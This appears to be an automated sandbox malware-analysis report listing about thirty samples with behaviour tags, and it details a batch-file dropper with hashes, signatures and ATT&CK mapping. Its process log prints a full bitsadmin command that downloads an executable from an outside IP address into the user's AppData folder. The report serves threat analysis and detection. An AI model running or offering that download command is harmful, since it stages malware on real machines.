5015af8fb5725c4c9ebac28a890128587b888acddab6cc9ff06e94e782713882

Submit
Reports

Overview

overview

Static

static

ScreenCapt...r1.exe

windows7-x64

ScreenCapt...r2.exe

windows7-x64

ScreenCapt...rt.exe

windows7-x64

ScreenCapt...er.exe

windows7-x64

ScreenCapt...ck.exe

windows7-x64

ScreenCapt...k1.exe

windows7-x64

ScreenCapt...k2.exe

windows7-x64

Setup (5).exe

windows7-x64

Setup (6).exe

windows7-x64

Supplement...16.scr

windows7-x64

T1.exe

windows7-x64

T1_b7afca7...b5.exe

windows7-x64

TeenTube_90767.exe

windows7-x64

Trojan-Ran....a.exe

windows7-x64

Tuyen bo c...ed.doc

windows7-x64

Tuyen bo c...ed.doc

windows7-x64

UNPACKED.exe

windows7-x64

Uninstall (2).exe

windows7-x64

Uninstall.exe

windows7-x64

Upx.exe

windows7-x64

screenshot2016.exe

windows7-x64

sidacertification.exe

windows7-x64

spora.exe

windows7-x64

svhost.exe

windows7-x64

sys100s.exe_.exe

windows7-x64

tordll.dll

windows7-x64

uacbypass.exe

windows7-x64

unpack.exe

windows7-x64

unpacked.ex_.exe

windows7-x64

unpacked.mem.exe

windows7-x64

upd.exe

windows7-x64

verhdiehndi.bat

windows7-x64

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
22-11-2024 03:39

Sharing

Copy URL

Twitter E-mail

Static task

static1

5 signatures

Behavioral task

behavioral1

Sample

ScreenCapture_Win8.MalwareScanner1.exe

Resource

win7-20240903-en

windows7-x64

0 signatures

300 seconds

Behavioral task

behavioral2

Sample

ScreenCapture_Win8.MalwareScanner2.exe

Resource

win7-20240903-en

windows7-x64

0 signatures

300 seconds

Behavioral task

behavioral3

Sample

ScreenCapture_Win8.PopupAlert.exe

Resource

win7-20241010-en

windows7-x64

0 signatures

300 seconds

Behavioral task

behavioral4

Sample

ScreenCapture_Win8.TaskServer.exe

Resource

win7-20241023-en

windows7-x64

0 signatures

300 seconds

Behavioral task

behavioral5

Sample

ScreenCapture_Win8.WindowsLock.exe

Resource

win7-20240903-en

windows7-x64

3 signatures

300 seconds

Behavioral task

behavioral6

Sample

ScreenCapture_Win8.WindowsLock1.exe

Resource

win7-20240903-en

windows7-x64

3 signatures

300 seconds

Behavioral task

behavioral7

Sample

ScreenCapture_Win8.WindowsLock2.exe

Resource

win7-20240903-en

windows7-x64

3 signatures

300 seconds

Behavioral task

behavioral8

Sample

Setup (5).exe

Resource

win7-20240903-en

discovery persistence

windows7-x64

10 signatures

300 seconds

Behavioral task

behavioral9

Sample

Setup (6).exe

Resource

win7-20240903-en

discovery persistence

windows7-x64

10 signatures

300 seconds

Behavioral task

behavioral10

Sample

Supplementary Agreement 26_01_2016.scr

Resource

win7-20240708-en

discovery

windows7-x64

3 signatures

300 seconds

Behavioral task

behavioral11

Sample

T1.exe

Resource

win7-20240903-en

t1happy credential_access defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan

windows7-x64

24 signatures

300 seconds

Behavioral task

behavioral12

Sample

T1_b7afca788487347804156f052c613db5.exe

Resource

win7-20240903-en

t1happy credential_access defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan

windows7-x64

19 signatures

300 seconds

Behavioral task

behavioral13

Sample

TeenTube_90767.exe

Resource

win7-20240729-en

discovery persistence

windows7-x64

7 signatures

300 seconds

Behavioral task

behavioral14

Sample

Trojan-Ransom.Win32.Telecrypt.a.exe

Resource

win7-20241010-en

discovery

windows7-x64

2 signatures

300 seconds

Behavioral task

behavioral15

Sample

Tuyen bo chung Viet Nam - Hoa Ky - Infected and EnCrypted.doc

Resource

win7-20241010-en

discovery

windows7-x64

8 signatures

300 seconds

Behavioral task

behavioral16

Sample

Tuyen bo chung Viet Nam - Hoa Ky - Infected.doc

Resource

win7-20240903-en

discovery

windows7-x64

9 signatures

300 seconds

Behavioral task

behavioral17

Sample

UNPACKED.exe

Resource

win7-20241023-en

discovery persistence ransomware spyware stealer

windows7-x64

11 signatures

300 seconds

Behavioral task

behavioral18

Sample

Uninstall (2).exe

Resource

win7-20240903-en

discovery

windows7-x64

3 signatures

300 seconds

Behavioral task

behavioral19

Sample

Uninstall.exe

Resource

win7-20240903-en

discovery

windows7-x64

3 signatures

300 seconds

Behavioral task

behavioral20

Sample

Upx.exe

Resource

win7-20241010-en

upx

windows7-x64

1 signatures

300 seconds

Behavioral task

behavioral21

Sample

screenshot2016.exe

Resource

win7-20240903-en

windows7-x64

7 signatures

300 seconds

Behavioral task

behavioral22

Sample

sidacertification.exe

Resource

win7-20240903-en

discovery

windows7-x64

6 signatures

300 seconds

Behavioral task

behavioral23

Sample

spora.exe

Resource

win7-20240903-en

defense_evasion discovery evasion execution impact ransomware spyware stealer

windows7-x64

16 signatures

300 seconds

Behavioral task

behavioral24

Sample

svhost.exe

Resource

win7-20240708-en

defense_evasion discovery persistence upx

windows7-x64

12 signatures

300 seconds

Behavioral task

behavioral25

Sample

sys100s.exe_.exe

Resource

win7-20240903-en

defense_evasion discovery persistence ransomware spyware stealer

windows7-x64

15 signatures

300 seconds

Behavioral task

behavioral26

Sample

tordll.dll

Resource

win7-20240903-en

discovery

windows7-x64

2 signatures

300 seconds

Behavioral task

behavioral27

Sample

uacbypass.exe

Resource

win7-20240729-en

discovery

windows7-x64

1 signatures

300 seconds

Behavioral task

behavioral28

Sample

unpack.exe

Resource

win7-20240903-en

defense_evasion discovery persistence

windows7-x64

7 signatures

300 seconds

Behavioral task

behavioral29

Sample

unpacked.ex_.exe

Resource

win7-20240903-en

discovery persistence ransomware spyware stealer

windows7-x64

11 signatures

300 seconds

Behavioral task

behavioral30

Sample

unpacked.mem.exe

Resource

win7-20240903-en

troldesh discovery persistence ransomware trojan

windows7-x64

6 signatures

300 seconds

Behavioral task

behavioral31

Sample

upd.exe

Resource

win7-20241010-en

discovery persistence

windows7-x64

8 signatures

300 seconds

Behavioral task

behavioral32

Sample

verhdiehndi.bat

Resource

win7-20240903-en

dropper

windows7-x64

2 signatures

300 seconds

Report Analysis Logs

General

Target

verhdiehndi.bat
Size

195B
MD5

a2a0830859cdb108a3353dbb2d081334
SHA1

6e7585317f10b0c0c1cdabfc15249a2951852a14
SHA256

d0fa3a800cc6cfad30ba69acc55b059459af138736a35544aff213ba7ae27ab2
SHA512

b877d5e2d09c2772d0c88bb3e8e7381173a4a7cf9c3ff8dfdc7e34345873e1e8ffc9ccb765de7edad3f6964bcbd22b7a5f8fb7c1576846be37240ade072264c4

Score

8^/10

dropper

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2468	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2480 wrote to memory of 2468	2480	cmd.exe	32
PID 2480 wrote to memory of 2468	2480	cmd.exe	32
PID 2480 wrote to memory of 2468	2480	cmd.exe	32

Processes

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\verhdiehndi.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Windows\system32\bitsadmin.exe
  bitsadmin /transfer myjob /download /priority high http://185.141.25.185/software.exe "C:\Users\Admin\AppData\Roaming\freegaza_israeli_killers.exe"
  2⤵
  - Download via BitsAdmin
  PID:2468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads